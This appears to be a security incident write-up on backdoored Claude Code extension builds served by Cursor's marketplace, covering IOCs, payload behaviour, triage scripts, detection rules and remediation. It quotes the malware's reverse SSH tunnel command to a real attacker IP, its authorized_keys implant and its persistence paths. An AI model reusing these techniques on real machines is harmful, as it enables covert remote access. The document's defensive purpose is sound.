Tampered Claude Code Extension on the Cursor Marketplace (October 2026)
On October 29, 2026, for about eleven hours, Cursor's VS Code extension marketplace served modified builds of anthropic.claude-code, the Claude Code extension, as versions 2.1.312 and 2.1.313 for macOS and Windows. The builds carried the real extension ID and looked like a normal update. A short loader had been added to the top of the bundled extension.js. When the editor loaded the extension, the loader planted an attacker SSH key, tried to turn on the machine's SSH server, tried to open a reverse SSH tunnel to an attacker host, installed persistence and sent host reconnaissance back.
Anthropic says it did not build or publish those versions and that its own channels (the Microsoft Visual Studio Marketplace, Open VSX and npm) were not affected. Microsoft independently confirmed the packages never appeared on the Visual Studio Marketplace or in the npm package. Cursor confirmed that its own marketplace served the malicious builds, pulled them, shut the whole marketplace down, rotated keys and rebuilt it.
Status of this write-up (as of 2026-11-09)
This incident is eleven days old. No public root cause has been published. Neither Cursor nor Anthropic has said how the attacker got the tampered package into Cursor's marketplace. Several details, including which versions were malicious, how many users received them and who spotted it first, were reported differently and corrected over the first 72 hours. This page separates what is confirmed by primary sources from what is disputed or unknown. Expect it to change if Cursor publishes a post-mortem.
TL;DR
| What | Backdoored copies of the Claude Code VS Code extension served by Cursor's extension marketplace |
| When | 2026-10-29, about 09:27 to 20:35 UTC (02:27 to 13:35 PT) per Cursor's notice |
| Versions | anthropic.claude-code 2.1.312 and 2.1.313, darwin-arm64 and win32-x64 builds from the Cursor marketplace only |
| Reach | Cursor's first notice said "at most 5,000 users". That wording was later removed (OpenSourceMalware), so the real number is uncertain |
| Payload | Loader added at the top of extension.js. It planted an SSH key with the comment svc-telemetry, tried to enable SSH and open a reverse tunnel to 134.209.82[.]225, installed persistence (LaunchAgent, cron or scheduled task) and beaconed host details plus the names of credential-like environment variables |
| What actually worked | On most hosts the key, the persistence and the beacon worked. The remote-login step usually failed, because turning on the local SSH server needs admin rights and the loader had bugs (Cursor, Phorion) |
| Root cause | Not disclosed. Anthropic: "A malicious actor used access to Cursor's marketplace to publish a tampered copy" (The Register) |
| Key lesson | An extension marketplace, including a mirror, is part of your code execution path. A real publisher name proves nothing if the distribution channel itself is compromised. Removing the extension does not remove what it wrote outside its folder |
The Alert
The public timeline starts with Cursor. On October 29 Cursor published a security notice titled "Security notice — malicious version of Anthropic.claude-code (2.1.312 and 2.1.313) identified in the Cursor VS Code Extension Marketplace". It says the malicious extension was available "between about 2:27am PT and 1:35pm PT" and that the builds were "not developed by Anthropic" (Cursor).
Who noticed it first is not settled in public sources:
- The Register says the EDR vendor Phorion spotted it first, and Help Net Security credits Phorion and its CEO Calum Hall.
- SecurityWeek says researcher Kevin Beaumont and Phorion "raised the alarm".
- The Hacker News credits OpenSourceMalware with reporting the compromise.
- Phorion's own advisory gives publication times (first version 2026-10-30 05:30 UTC) but no detection time, and it does not say what telemetry triggered the finding (Phorion).
- Cursor's notice does not say how Cursor detected it.
Why this one is unsettling
Nobody had to click on anything. The extension ID and publisher were real, and many users got the update through auto-update. As Phorion's Calum Hall put it, "The user doesn't need to interact with the extension for the payload to fire" (Help Net Security). The extension also kept working, so nothing looked wrong in the editor.
Impact
- Distribution channel: Cursor's VS Code Extension Marketplace only. Microsoft states the packages were "never published nor distributed from Microsoft Visual Studio Marketplace and from npm @anthropic-ai/claude-code" and that "all evidence suggests that the incident is limited to Cursor marketplace" (Microsoft Security Blog).
- Platforms: Cursor lists macOS (
darwin-arm64) and Windows (win32-x64) packages. The loader also contains Linux code paths (cron persistence,systemctl), but no Linux package is listed as affected (Cursor, OpenSourceMalware). - Exposure window: about 11 hours on October 29. Anthropic described the build as live for "nearly 12 hours" (The Hacker News).
- Users: Cursor's first notice said "at most 5,000 users." OpenSourceMalware reports that this wording was later removed and suspects the true number is higher, for example because CDN-cached downloads may not have been counted. SecurityWeek attributes an estimate of about 5,000 machines to Kevin Beaumont. Treat 5,000 as an early estimate, not a confirmed count.
- Data sent to the attacker: hostname, username, OS, CPU architecture, home and working directories, global Git email, public IP and up to 40 environment variable names (not values) matching patterns like
KEY,TOKEN,SECRET,PASS,AWS,GCP(Microsoft, StepSecurity). - Access gained: an attacker key in
authorized_keysand persistence on most hosts that loaded it. Interactive SSH access only on hosts where the local SSH server was already on, or where the loader managed to enable it (needs admin rights). Cursor said the remote-access step "fails unless Cursor ran with admin rights", which Microsoft's summary calls "highly unusual." - What was not seen: StepSecurity's static analysis found no direct credential theft, no access to Claude or VS Code data and no second-stage download. The risk is what an operator could do over interactive SSH while a tunnel was up (StepSecurity).
- Attribution: none published.
Timeline
All times UTC. Pacific times from Cursor's notice are converted (PDT, UTC-7, on October 29).
| Time (UTC) | Event | Source |
|---|---|---|
| Before 2026-10-29 | Unknown. How the attacker got publishing access to Cursor's marketplace has not been disclosed | The Register |
| 2026-10-29 ~09:27 | Malicious anthropic.claude-code builds become available in Cursor's marketplace (02:27 PT) | Cursor |
| 2026-10-29 ~20:35 | Cursor removes the builds (13:35 PT), blocks further distribution and then shuts down its whole VS Code marketplace "out of an abundance of caution" | Cursor, The Register |
| 2026-10-29 | Cursor publishes its security notice. The first version names 2.1.313 and "at most 5,000 users" | Cursor, SecurityWeek |
| 2026-10-30 05:30 | Phorion publishes its advisory | Phorion |
| 2026-10-30 09:13 | Phorion corrects "the affected marketplace to Cursor" | Phorion |
| 2026-10-30 09:42 | OpenSourceMalware publishes its analysis, first attributing the build to Open VSX and later correcting this after Cursor contacts them | OpenSourceMalware |
| 2026-10-30 | Anthropic's Felix Rieseberg says on X that this was not a compromise of Anthropic's systems or employee laptops | The Register |
| 2026-10-30 | Microsoft Threat Intelligence publishes analysis and hunting queries | Microsoft |
| 2026-10-30 | Attacker server taken offline with the hosting provider's help, per Cursor | Cursor, StepSecurity |
| 2026-10-30 ~18:30 | Cursor updates its notice (11:30 PT): "We updated the IOCs and clarified affected versions." 2.1.312 is now listed too | Cursor |
| 2026-10-31 00:43 | Phorion adds 2.1.312 to its advisory | Phorion |
| 2026-11-01 | StepSecurity completes static analysis of the recovered sample. OpenSourceMalware's last update. The extension is still missing from Cursor's marketplace | StepSecurity, OpenSourceMalware |
| 2026-11-02 | SecurityWeek reports that the root cause is still not public | SecurityWeek |
| 2026-11-09 | No Cursor post-mortem found at the time of writing | (this page) |
sequenceDiagram
participant A as Attacker
participant M as Cursor marketplace
participant U as Cursor users
participant R as Researchers
participant C as Cursor security
Note over A,M: Unknown date — access to the marketplace, method not disclosed
A->>M: 09:27 UTC Oct 29 — tampered 2.1.312 and 2.1.313 become available
M->>U: Auto-update and manual installs
U->>A: Beacon to port 8099, tunnel attempts every 60 s
R->>C: Alarm raised (Phorion, Beaumont, OSM — order disputed)
C->>M: 20:35 UTC — builds pulled, marketplace shut down
C->>A: Oct 30 — attacker server taken down via hosting provider
C->>U: Notice, IOCs, check and cleanup scripts
Note over C,M: Keys rotated, marketplace rebuilt and restored
Root Cause
What is confirmed
- The package came from Cursor's marketplace. Cursor confirmed it, and confirmed to OpenSourceMalware that its marketplace was compromised, without saying how (OpenSourceMalware).
- Anthropic did not build it. Cursor's notice says so. Anthropic told Microsoft "their systems were not compromised" (Microsoft).
- The tampering was a prepend. StepSecurity found a 7,386-byte loader added in front of the clean official 2.1.312
extension.js. The rest of the bundle was byte-identical. The "2.1.313" bundle still reported itself internally as 2.1.312, and only the repackaged manifest carried the higher number (StepSecurity). Microsoft and OpenSourceMalware describe the same structure: an immediately invoked function placed before the legitimate code. - Cursor's marketplace sits in the delivery path. OpenSourceMalware describes Cursor running an internal service that pulls extensions from Open VSX or its own storage and serves them through a Cloudflare CDN. The malicious file came from that service, not from Open VSX.
What is not known
- How the attacker got publish or write access. A stolen credential, an insider, a build or sync pipeline compromise, or a storage or CDN write path are all possible. Nothing public says which. Phorion's CTO called it "a supply-chain compromise where the attacker gained access to the official distribution channel" (Help Net Security). That describes the outcome, not the mechanism.
- Whether other extensions were at risk. Cursor says its audit found no other tampered extensions. OpenSourceMalware says it understood the compromise extended beyond this one extension, and that Cursor did not answer follow-up questions. These two statements do not fully agree.
- How many installs had a working tunnel or saw an operator login.
- Who did it.
flowchart TD
A["Anthropic builds and signs<br/>anthropic.claude-code"] --> B["Official channels<br/>VS Code Marketplace, Open VSX, npm"]
B -->|"Not affected (Microsoft, Anthropic)"| OK["Clean 2.1.312 / 2.1.314"]
B --> C["Cursor mirror service<br/>pulls from Open VSX or own storage"]
X["Attacker"] -.->|"Access method UNKNOWN"| C
C --> D["Tampered VSIX<br/>loader prepended to extension.js<br/>manifest bumped to 2.1.313"]
D --> E["Cursor CDN<br/>(Cloudflare)"]
E --> F["Cursor IDE auto-update"]
F --> G["Extension host loads extension.js<br/>payload runs before activate()"]
style X fill:#ff6b6b,color:#fff
style D fill:#ff6b6b,color:#fff
style G fill:#ff6b6b,color:#fff
Disputed and corrected points
| Question | Early claim | Current best reading |
|---|---|---|
| Which versions? | Only 2.1.313 (Cursor's first notice, Help Net Security) | 2.1.312 and 2.1.313 from Cursor's marketplace (Cursor update of Oct 30). Note that Open VSX also has a 2.1.312, which StepSecurity verified as a different, clean file. Having "2.1.312" installed is not proof of compromise. The source and time of download matter |
| Was Open VSX hit? | Help Net Security first reported Phorion found it on Open VSX. OpenSourceMalware first attributed it to Open VSX. A Morphisec press release also said Open VSX | No, per Cursor (to OpenSourceMalware), Anthropic, Microsoft and Socket (via The Hacker News). Phorion and OpenSourceMalware both corrected their posts |
| How many users? | "At most 5,000" (Cursor) | Wording later removed by Cursor. ~5,000 also attributed to Kevin Beaumont. Unconfirmed |
| Who found it? | Phorion / Beaumont / OpenSourceMalware | Unresolved in public sources |
| Was Anthropic breached? | Claimed by some security commentators (The Register) | Anthropic denies it. No public evidence of an Anthropic breach |
| Was there a second-stage payload? | n/a | None found in the recovered sample (StepSecurity, OpenSourceMalware) |
The version gap
Open VSX, npm and the VS Code Marketplace all go from 2.1.312 to 2.1.314. OpenSourceMalware first read that as evidence of a takedown and later dropped the theory. Reporting says Anthropic skipped to 2.1.314 to avoid confusion (SecurityWeek, StepSecurity).
How the Payload Behaved
This section describes behaviour at the level defenders need to hunt for it. It does not reproduce the loader.
Why extensions are such a good target
A VS Code-compatible extension is a Node.js module loaded into the editor's extension host process. It runs with the full permissions of the logged-in user: it can read and write the home directory, spawn processes and make network connections. There is no permission prompt and no sandbox comparable to a browser extension's. Code at the top level of the module runs on require, so as Phorion notes it runs "before the extension's normal activate callback even runs". npm's --ignore-scripts does not help, because no install script is involved. Just loading the file is enough.
flowchart LR
L["Module load<br/>(no user action)"] --> S1["1. Recon<br/>host, user, git email,<br/>env var NAMES"]
S1 --> S2["2. Append SSH public key<br/>comment svc-telemetry<br/>to authorized_keys"]
S2 --> S3["3. Try to enable SSH server<br/>(needs admin, usually fails)"]
S3 --> S4["4. Reverse tunnel attempt<br/>ssh -R to attacker, retry 60 s"]
S4 --> S5["5. Persistence<br/>LaunchAgent / cron / scheduled task"]
S5 --> S6["6. Beacon<br/>HTTP POST :8099/beacon"]
S6 --> K["Real extension code runs<br/>editor looks normal"]
style S2 fill:#ff6b6b,color:#fff
style S5 fill:#ff6b6b,color:#fff
Per Microsoft, StepSecurity and OpenSourceMalware, each stage fails silently and errors are swallowed, so the extension keeps working:
- Reconnaissance. Host and user details, the global Git email and up to 40 environment variable names matching credential-like patterns. Values are not sent in the beacon. Even names are useful to an attacker, though, because
AWS_SECRET_ACCESS_KEYorGITHUB_TOKENtells them what to go after once they have a shell. - SSH key implant. An Ed25519 public key with the comment
svc-telemetryis appended to~/.ssh/authorized_keys, and permissions are tightened to 700/600 sosshdwill accept it. - Enable SSH. On macOS via the Remote Login system setting, on Windows by installing and starting OpenSSH Server, on Linux via
systemctl. All of these normally need administrator rights. - Reverse tunnel. An embedded private key is written to a temp file (
.stk_<10 hex>). Then it retries an outboundssh -N -R '*:0:localhost:22'totunnel@134.209.82.225about every 60 seconds, with host-key checking disabled. It usesautosshwhen present, and a hidden PowerShell loop on Windows. - Persistence. A script at
~/.config/.smt(Windows:%USERPROFILE%\.config\smt.cmd) re-creates the tunnel key and keeps retrying. It is launched by:- macOS: LaunchAgent
~/Library/LaunchAgents/com.apple.sysmond.plistwithRunAtLoadandKeepAlive - Linux: a crontab
@rebootentry - Windows: a scheduled task named
SysMonrunning as SYSTEM (only works from an elevated session), otherwisesysmon.cmdin the Startup folder
- macOS: LaunchAgent
- Beacon. About 1.5 seconds later it looks up the public IP and POSTs the recon data over plain HTTP to
:8099/beaconon both the attacker IP and127.0.0.1.
Why the attack mostly fell short, and why that is not reassuring
A reverse tunnel lets the attacker reach port 22 on the victim through the victim's own outbound connection. That only helps if something is listening on port 22. Opening the outbound connection needs no privileges. Starting the SSH server does. On a typical developer laptop Remote Login is off and the editor is not running as admin, so the tunnel pointed at nothing.
Phorion documented specific bugs too:
- macOS: without admin rights, the Remote Login status check prints an "administrator access" error instead of
Off. The script then never attempts to enable SSH, but still drops the key and persistence. - Windows: the PowerShell setup runs through a helper that hardcodes
/bin/sh. - Linux: a flawed crontab check can wipe the user's existing cron jobs.
Still a compromised machine
On a developer machine where Remote Login was already on (common on build Macs and admin workstations), or where the IDE ran elevated, the attacker had a key-authenticated shell that survived reboots. Even where it failed, the machine was left with attacker persistence that keeps retrying, and the attacker learned the host, user, Git identity and which secrets live in the environment. As Microsoft notes, "the loader may still write keys and persistence artifacts even when tunnel access fails."
Detection
How it was (probably) detected
The public sources point to behaviour-based endpoint detection and researcher scrutiny of a fresh release, not to marketplace-side scanning. Phorion is an EDR vendor, and its hunting advice centres on an IDE helper process (Code Helper, Cursor Helper) writing to ~/.ssh/authorized_keys, a behaviour that is almost never legitimate. Ax Sharma of Manifold Security made the same point: "Checking the publisher name doesn't help when the publisher is real", so behaviour monitoring has to catch an extension that plants SSH keys (Help Net Security).
Indicators
From Cursor's notice, cross-checked against StepSecurity, Phorion and Microsoft:
| Type | Value |
|---|---|
Malicious extension.js SHA-256 | ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 |
| VSIX 2.1.312 darwin-arm64 | fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364 |
| VSIX 2.1.312 win32-x64 | 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 |
| VSIX 2.1.313 darwin-arm64 | 80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c |
| VSIX 2.1.313 win32-x64 | 6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731 |
| Attacker host | 134.209.82[.]225, TCP 22 (user tunnel) and TCP 8099 (/beacon) |
| Loopback beacon | 127.0.0.1:8099/beacon |
| Planted key | comment svc-telemetry, fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk |
| Tunnel key | fingerprint SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ |
| Files (macOS/Linux) | ~/.config/.smt, ~/.config/.smtk, $TMPDIR/.stk_* or /tmp/.stk_* |
| Files (Windows) | %USERPROFILE%\.config\smt.cmd, %USERPROFILE%\.config\smtk, %TEMP%\.stk_* |
| Persistence | LaunchAgent label com.apple.sysmond. Cron @reboot /bin/sh "<HOME>/.config/.smt". Scheduled task SysMon. Startup sysmon.cmd |
| Process | ssh or autossh with -N -R '*:0:localhost:22' and StrictHostKeyChecking=no |
Lookups to ifconfig.me or api.ipify.org are not indicators on their own (Cursor, StepSecurity).
Match fingerprints, not names
com.apple.sysmond and SysMon were picked to look like system or monitoring components, and real Sysmon deployments use similar names. Microsoft warns that "names alone are not sufficient to distinguish malicious objects from legitimate monitoring software." Match the key fingerprint and the persistence item's action (does it run .config/.smt?), not the label.
Quick checks
Cursor's published check is a grep for the key comment. Here is a slightly broader read-only triage you can run per host. It changes nothing.
#!/usr/bin/env bash
# Read-only triage for the Oct 2026 Cursor Claude Code extension incident.
set -u
hit=0
ak="$HOME/.ssh/authorized_keys"
if [ -f "$ak" ] && grep -q "svc-telemetry" "$ak"; then
echo "[!] svc-telemetry key in $ak"; hit=1
ssh-keygen -lf "$ak" | grep -F "0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk" && echo " fingerprint matches IOC"
fi
for f in "$HOME/.config/.smt" "$HOME/.config/.smtk" "$HOME/Library/LaunchAgents/com.apple.sysmond.plist"; do
[ -e "$f" ] && { echo "[!] artifact: $f"; hit=1; }
done
ls -a "${TMPDIR:-/tmp}" /tmp 2>/dev/null | grep -q '^\.stk_' && { echo "[!] .stk_ temp key present"; hit=1; }
crontab -l 2>/dev/null | grep -q '\.config/\.smt' && { echo "[!] @reboot cron entry"; hit=1; }
pgrep -fl 'ssh.*-R.*localhost:22' && hit=1
# Installed extension folders for the affected versions (Cursor's default location)
ls -d "$HOME"/.cursor/extensions/anthropic.claude-code-2.1.31[23]* 2>/dev/null && \
grep -lsr -e "134.209.82.225" -e "svc-telemetry" "$HOME"/.cursor/extensions/anthropic.claude-code-2.1.31[23]* && hit=1
[ "$hit" -eq 0 ] && echo "No indicators found" || echo "Indicators found: isolate the host and follow the response steps"
# Read-only triage. Run in an elevated PowerShell to see all scheduled tasks.
$hit = $false
$keys = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" |
Where-Object { Test-Path $_ }
if ($keys -and (Select-String -Path $keys -Pattern 'svc-telemetry' -Quiet)) { "[!] svc-telemetry key found"; $hit = $true }
"$HOME\.config\smt.cmd", "$HOME\.config\smtk",
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd" |
Where-Object { Test-Path $_ } | ForEach-Object { "[!] artifact: $_"; $hit = $true }
if (Get-ChildItem $env:TEMP -Force -Filter '.stk_*' -ErrorAction SilentlyContinue) { "[!] .stk_ temp key"; $hit = $true }
$t = Get-ScheduledTask -TaskName 'SysMon' -ErrorAction SilentlyContinue
if ($t -and ($t.Actions.Arguments + $t.Actions.Execute) -match 'smt') { "[!] SysMon task runs smt"; $hit = $true }
Get-CimInstance Win32_Process -Filter "Name='ssh.exe'" |
Where-Object CommandLine -match '-R' | ForEach-Object { "[!] tunnel: $($_.CommandLine)"; $hit = $true }
if (-not $hit) { "No indicators found" }
For a fleet, use EDR queries rather than scripts. Microsoft published Defender XDR advanced hunting queries over DeviceNetworkEvents (connections to the attacker IP), DeviceFileEvents (the payload hash and artifact names), and DeviceEvents for ScheduledTaskCreated and PlistPropertyModified. Microsoft stresses that "a result is an investigative lead, not proof of compromise."
A useful generic detection that would have fired here, written as a Sigma-style rule:
title: IDE extension host modifies SSH authorized_keys
status: experimental
logsource:
category: file_event
detection:
target:
TargetFilename|endswith:
- '/.ssh/authorized_keys'
- '\.ssh\authorized_keys'
- '\ssh\administrators_authorized_keys'
ide:
Image|contains:
- 'Cursor Helper'
- 'Code Helper'
- '\Cursor.exe'
- '\Code.exe'
- '/node' # extension host on Linux
condition: target and ide
level: high
falsepositives:
- Remote-development extensions that manage keys (verify and allowlist explicitly)
Response and Remediation
What Cursor did
Per its notice and SecurityWeek:
- Removed the malicious version and blocked further distribution.
- Shut down its whole VS Code marketplace as a precaution.
- Audited access and found no other tampered extensions.
- Rotated keys.
- Rebuilt and restored the marketplace.
- Had the attacker's server taken offline with the hosting provider's help. Cursor says "the attacker server no longer functions."
- Published IOCs, a detection one-liner and remediation scripts for macOS and Windows.
Anthropic moved its genuine extension to 2.1.314 (SecurityWeek).
What affected users should do
Cursor, Microsoft, Phorion and OpenSourceMalware broadly agree on the order:
- Scope. Find hosts that installed or auto-updated
anthropic.claude-code2.1.312 or 2.1.313 from Cursor's marketplace between 09:27 and 20:35 UTC on October 29. - Preserve evidence first, then isolate hosts that show execution.
- Kill the retry loop and any
ssh/autosshtunnel processes. - Remove persistence: the LaunchAgent, the
@rebootcron entry, or theSysMontask andsysmon.cmd, plus~/.config/.smtand.smtk, and the.stk_*temp keys. Check what each item runs before deleting it. - Remove the key from
authorized_keysafter confirming the fingerprint. On Windows, checkadministrators_authorized_keystoo. - Check Remote Login / sshd state and turn it off if it was not meant to be on.
- Review SSH logs for successful logins using the planted key. Logins arriving from
localhostare the tunnel signature. - Rotate credentials from a clean machine if SSH was enabled or a login is seen. Prioritise secrets whose names match the
KEY|TOKEN|SECRET|PASS|AWS|GCPfilter, since the attacker now knows they exist. - Consider rebuilding. OpenSourceMalware recommends it over cleanup alone. Confirm the artifacts do not come back after a restart.
Uninstalling is not remediation
Cursor: "Uninstalling the extension may not be sufficient — the payload drops standalone persistence scripts that keep running." Microsoft: "Removing or updating the extension does not remove artifacts written outside its installation directory." Taking down the attacker server stops the tunnel working. It does not clean the machine.
A careful, interactive way to clean authorized_keys, removing only the IOC fingerprint and keeping a backup:
# Remove only the key whose fingerprint matches the IOC. Keeps a timestamped backup.
ak="$HOME/.ssh/authorized_keys"
ioc="SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk"
cp -p "$ak" "$ak.bak.$(date +%s)"
tmp=$(mktemp)
while IFS= read -r line; do
fp=$(printf '%s\n' "$line" | ssh-keygen -lf - 2>/dev/null | awk '{print $2}')
[ "$fp" = "$ioc" ] && { echo "removing: ${line:0:40}..."; continue; }
printf '%s\n' "$line" >> "$tmp"
done < "$ak"
install -m 600 "$tmp" "$ak" && rm -f "$tmp"
What Would Have Prevented It
The upstream root cause is unknown, so nobody outside Cursor can say exactly which control failed at the marketplace. What we can do is look at each layer that a tampered extension has to get through, and at the controls that would have stopped or contained it there.
flowchart TD
P["Publisher signs build"] --> R["Registry / mirror"]
R --> I["IDE install or auto-update"]
I --> X["Extension host runs code"]
X --> H["Host: keys, services, persistence"]
H --> N["Network: tunnel and beacon"]
R -.- C1["Mirror re-verifies upstream signature<br/>and hash before serving"]
I -.- C2["Allowlist + version pinning<br/>+ update cooldown"]
X -.- C3["Least privilege: IDE never elevated<br/>dev containers for untrusted work"]
H -.- C4["EDR rule: IDE writes authorized_keys<br/>FIM on LaunchAgents, cron, tasks"]
N -.- C5["Egress policy: block outbound SSH<br/>from workstations"]
1. Mirrors must not be able to change bytes
Any intermediary that re-hosts packages (a corporate proxy, a CDN, an editor vendor's mirror) should verify the upstream publisher's signature and hash before serving, and should serve the original signed artifact, not a repackaged one. The tampered build here had a repackaged manifest, so its hash would not match any upstream artifact. Open VSX and the Visual Studio Marketplace both expose per-version metadata. A mirror can refuse anything that does not match:
#!/usr/bin/env python3
"""Refuse to serve a VSIX unless its SHA-256 matches what Open VSX publishes.
Illustrative mirror-side gate. Assumes the Open VSX REST API shape
/api/{namespace}/{name}/{target}/{version} with a files.sha256 link."""
import hashlib, json, sys, urllib.request
def upstream_sha256(ns: str, name: str, target: str, version: str) -> str:
meta = json.load(urllib.request.urlopen(
f"https://open-vsx.org/api/{ns}/{name}/{target}/{version}", timeout=30))
sha_url = meta["files"]["sha256"]
return urllib.request.urlopen(sha_url, timeout=30).read().decode().split()[0].lower()
def local_sha256(path: str) -> str:
h = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(1 << 20), b""):
h.update(chunk)
return h.hexdigest()
if __name__ == "__main__":
vsix, ns, name, target, version = sys.argv[1:6]
want, got = upstream_sha256(ns, name, target, version), local_sha256(vsix)
if want != got:
sys.exit(f"REFUSE {ns}.{name}@{version} ({target}): {got} != upstream {want}")
print("OK: matches upstream")
Also apply the usual publishing-pipeline controls to the mirror itself: no long-lived write credentials, writes only from a signed CI pipeline with short-lived OIDC credentials, two-person review for any manual upload, and an alert on any artifact whose version does not exist upstream. A "2.1.313" that existed nowhere else should never have been servable.
2. Allowlist extensions and pin versions
VS Code (1.96 and later) has an extensions.allowed setting that can be enforced by enterprise policy. It accepts publishers, specific extensions and specific versions. Microsoft's guidance for this incident says to follow Cursor's hardening advice, "restricting extensions to approved publishers and configuring an extension installation cooldown." Check your editor's documentation for its exact policy keys. Cursor, Windsurf and other forks do not all support every VS Code policy.
// settings.json or managed policy (VS Code). Verify equivalents in forks.
{
"extensions.allowed": {
"*": false, // deny by default
"ms-python": true, // whole publisher
"dbaeumer.vscode-eslint": true, // one extension, any version
"anthropic.claude-code": ["2.1.314"] // pinned version only
},
"extensions.autoUpdate": false, // updates go through review
"extensions.autoCheckUpdates": false
}
Pinning plus no auto-update converts "every user receives whatever the marketplace serves today" into "a version is promoted after a delay". A cooldown of a few days before any new version is allowed would have kept almost every managed machine out of an 11-hour window. The same idea works for npm and PyPI dependencies (see Axios).
3. Verify signatures end to end
The Visual Studio Marketplace signs extensions and VS Code verifies those signatures on install. That protects against tampering between the marketplace and the editor. It does not help when the channel serving the file is the compromised party and the client trusts that channel's signature or none at all. The general rule: the signature should come from the publisher, and the client should check it against the publisher's key, so any intermediary that changes bytes is detected. If your editor installs from a mirror, ask how that mirror's extensions are signed and by whom.
4. Keep the IDE unprivileged and contain untrusted work
The attack's most dangerous step failed because the editor did not run as admin. Keep it that way:
- Never run the IDE elevated. Use a separate admin account or
sudoper command. - Keep Remote Login /
sshdoff on laptops unless needed. Where it is needed, restrict who can log in. - Do risky or exploratory work inside dev containers or remote VMs with no access to the host's
~/.sshand cloud credentials.
# /etc/ssh/sshd_config (or a drop-in) on machines that must run sshd
PasswordAuthentication no
AuthorizedKeysFile none # disable per-user files...
AuthorizedKeysCommand /usr/local/bin/fetch-keys %u # ...and fetch keys from a central source
AuthorizedKeysCommandUser nobody
AllowUsers deploy@10.0.0.0/8 # restrict who and from where
With keys served centrally (from your identity provider or an SSH CA via TrustedUserCAKeys), an attacker who appends a line to ~/.ssh/authorized_keys gains nothing.
5. Watch the persistence locations
File integrity monitoring on a few paths catches most user-level persistence on developer machines:
| OS | Watch |
|---|---|
| macOS | ~/Library/LaunchAgents, /Library/LaunchAgents, /Library/LaunchDaemons, ~/.ssh/authorized_keys, Remote Login state |
| Linux | user crontabs, ~/.config/systemd/user, ~/.config/autostart, ~/.ssh/authorized_keys |
| Windows | Scheduled tasks (Event ID 4698 in the Security log when auditing is on), Startup folders, authorized_keys and administrators_authorized_keys |
On macOS 13 and later, adding a LaunchAgent also triggers a "Background Items Added" notification, and MDM can manage which login items are allowed. Train developers that this notification after an extension update is a reason to report, not dismiss.
6. Egress control for workstations
The tunnel was outbound SSH to an arbitrary internet host on port 22, plus plain HTTP to port 8099. Few developers need either from a corporate laptop. Allow outbound SSH only to known Git hosts and bastions, and alert on new destinations:
# Example policy intent for a workstation firewall or secure web gateway
allow tcp/22 -> github.com, gitlab.com, bastion.corp.example
deny tcp/22 -> any # log + alert
deny tcp/8000-8999 -> any (non-proxy) # log + alert on unusual ports
Lessons for System Design
A mirror is a publisher. Anything that serves bytes your clients execute is part of the trust chain, however "thin" it is. If it can re-pack, it can tamper. Design mirrors as pass-through caches of signed artifacts that cannot produce artifacts of their own.
Identity of the publisher is not integrity of the package. The extension carried a real namespace from a real company. Controls that only ask "who published this?" (verified-publisher badges, namespace ownership) do not catch a compromised channel. You need content-level checks: signatures by the publisher's key, and hashes compared against an independent source.
Auto-update is a push channel for whoever controls the server. It is the same lesson as CrowdStrike July 2024 in a different form: fast fleet-wide delivery with no staging means one bad artifact reaches everyone at once. Put a cooldown and a canary ring in front of developer tooling, just as you would for production deploys.
Blast radius depends on the host, not the payload. The same loader did almost nothing on a locked-down laptop and gave a persistent shell on one with Remote Login on and an elevated editor. Least privilege on developer endpoints is a supply-chain control.
Containment beats cleanup. "Uninstall the extension" was not a fix. Incident runbooks for developer machines should assume persistence outside the package directory and lean toward reimaging and credential rotation (see the incident response playbook and secret rotation).
Say what you don't know. The first 48 hours produced three corrections: the channel (Open VSX to Cursor), the versions (one to two) and the user count (stated, then removed). Early public statements should mark scope as provisional and be updated in place with a visible change log, as Cursor and Phorion did.
What Would You Do?
Scenario 1: You run IT for 400 developers. Half use Cursor with auto-update on. Cursor's notice lands at 21:00 UTC on October 29. What do you do first: (A) push a script that uninstalls the extension everywhere, (B) query EDR for the IOC hash, key fingerprint and persistence artifacts, then isolate hits, or (C) wait for Cursor's post-mortem?
Best answer: (B). Uninstalling (A) leaves the persistence, the key and the tunnel loop behind, and destroys evidence of which hosts ran the payload. Waiting (C) leaves backdoored machines online. Scope by artifact and telemetry, isolate positives, preserve evidence, then clean up or reimage and rotate the secrets those hosts could reach.
Scenario 2: A developer reports "2.1.312" installed. Is the machine compromised?
Not necessarily. Open VSX also has a clean 2.1.312, and StepSecurity verified it is a different file from Cursor's malicious one. Check where it came from (Cursor's marketplace or not), when it was installed relative to the 09:27 to 20:35 UTC window, the hash of extension.js, and above all the host artifacts (svc-telemetry key, .smt, LaunchAgent or SysMon task).
Scenario 3: Your company runs an internal mirror for npm, PyPI and VS Code extensions. Leadership asks what single change best prevents this class of incident. What do you propose?
Make the mirror unable to serve anything it cannot prove came from upstream: verify publisher signatures and upstream hashes on ingest, reject versions that do not exist upstream, and make the mirror's storage writable only by that verified ingest pipeline. Then add a cooldown before new versions become installable. Allowlists and EDR still matter, but they are second lines of defence.
Key Lessons
Key Lessons
- Editor extensions are unsandboxed code running as you. Treat them like dependencies: allowlist, pin, delay and review.
- A real publisher name does not prove a package is safe. The channel can be the compromised party. Verify content, not only identity.
- Mirrors and re-hosting services are part of the supply chain and need signing, provenance and write controls as strict as the original registry's.
- Uninstall does not clean up. Hunt for keys, persistence and tunnels outside the extension directory, and prefer reimaging.
- Privilege decided the outcome. An unelevated IDE and SSH turned off stopped the worst step on most machines.
- A behaviour rule ("IDE writes authorized_keys") beats a signature for catching the next one.
Quiz
Quiz
Q1: Why did npm's --ignore-scripts style defences not apply here?
The payload did not use an install script. It was top-level code at the start of extension.js, which runs as soon as the editor's extension host loads the module, before activate().
